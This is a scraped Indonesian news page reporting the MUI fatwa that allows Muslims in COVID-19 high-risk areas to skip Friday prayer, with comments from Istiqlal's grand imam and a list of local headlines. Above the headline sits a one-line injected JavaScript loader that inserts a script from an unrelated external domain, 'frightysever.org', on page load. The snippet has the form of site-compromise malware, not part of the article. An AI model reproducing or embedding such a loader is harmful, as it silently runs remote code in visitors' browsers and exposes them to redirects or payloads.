(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Fatwa MUI: Warga di Daerah Rawan Corona Boleh Tidak Salat Jumat


KANALKLIMANTAN.COM, JAKARTA – Ketua Komisi Fatwa Majelis Ulama Indonesia Hasanuddin AF menjelaskan pihaknya telah menerbitkan fatwa membolehkan umat Islam yang tinggal di daerah berpotensi tinggi terjangkit virus corona atau Covid-19 untuk meninggalkan salat Jumat dan mengganti dengan salat zuhur.

MUI mengeluarkan fatwa itu mengingat peyebarang virus corona yang begitu cepat.

“Salah satu poin fatwanya adalah dalam kondisi penyebaran corona demikian rupa, masif, tidak terkendali, di satu daerah, satu kawasan, maka salat Jumat itu bukan hanya dibolehkan tidak dilaksanakan, tapi justru dilarang untuk dilaksanakan dan menggantinya dengan salat zuhur di tempat tinggal masing-masing,” kata Hasanuddin.

Selain itu, lanjut Hasanuddin, umat Muslim di daerah rawan penularan Covid-19 dibolehkan tidak salat berjamaah lima waktu di masjid atau tempat umum lainnya. Sedangkan umat Islam di wilayah berpotensi rendah terinfeksi virus Covid-19 wajib melaksanakan salat Jumat di masjid.

“Termasuk dalam fatwa itu adalah pelaksanaan salat Id, salat Tarawih. Pokoknya kerumunan jamaah, orang banyak lah. Ibadah yang dilakukan dalam jamaah banyak itu bisa ditunda sementara,” ujar Hasanuddin.

Komisi Fatwa MUI juga mengimbau umat untuk mengurangi kontak fisik, membawa sajadah sendiri, dan rajin mencuci tangan.

Seorang petugas medis mengenakan pakaian hazmat menyemprotkan disinfektan di sebuah masjid di tengah wabah virus corona, di Jakarta, 13 Maret 2020. Foto: Reuters via VOA

Marwan, salah satu pengurus Masjid-An Nur di kawasan Jakarta Timur, mengatakan masjidnya belum memutuskan apakah salat lima waktu dan salat Jumat akan tetap digelar pasca adanya fatwa dari MUI ini.

Meski demikian saat ini, semua kegiatan pengajian rutin yang ada di masjidnya, kata Marwan, sudah dihentikan sampai waktu yang belum ditentukan.

Imam Besar Masjid Istiqlal di Jakarta Nasaruddin Umar mengimbau kepada pengurus masjid di Indonesia untuk membatasi kegiatan yang bersifat masif atau melibatkan banyak orang demi keselamatan umat.

Kalau memang keadaan makin mengkhawatirkan, Masjid Istiqlal pun, kata Nazaruddin akan meniadakan salat Tarawih di Istiqlal selama Ramadan, karena Tarawih hukumnya sunnah. Sedangkan yang wajib adalah melindungi diri dari penyakit.

Nazaruddin mengatakan virus corona ini harus dijadikan musuh bersama oleh semua lapisan masyarakat apapun etnis dan agamanya. Menurutnya ia telah melakukan pertemuan dengan pimpinan umat beragama terkait virus corona tersebut.

“Mari bergandeng tangan memusuhi, mencegah penyakit bersama. Jadi kalau semua umat beragama bergandengan tangan untuk menghadapi musuh yang sama. Jangan satu-satu,” ungkap Nazaruddin.

MUI juga menyatakan hoaks dan informasi yang tidak bisa dipertangung jawabkan dan menyebabkan kepanikan, itu juga haram. Karena hoaks bersifat haram, maka membuat hoaks dan menyebarkan hoaks juga merupakan aktivitas terlarang.

Hingga kemarin, virus Covid-19 di Indonesia telah menginfeksi 134 orang, termasuk Menteri Perhubungan Budi karya Sumadi. Lima di antaranya meninggal. (fw/ft-VOA)

Reporter : Fathiyah Wardah
Editor : VOA


Desy Arfianty

Recent Posts

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

33 menit ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

4 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

5 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

6 jam ago

Dinas PUPR Berikan Pedoman Standar Penggunaan Air Minum dan Sanitasi bagi Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More

6 jam ago

Nobar Timnas di Balai Kota Banjarbaru Berizin Resmi Pemegang Hak Siar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru memfasilitasi masyarakat nonton bareng memberikan dukungan kepada Tim Nasional… Read More

6 jam ago

This website uses cookies.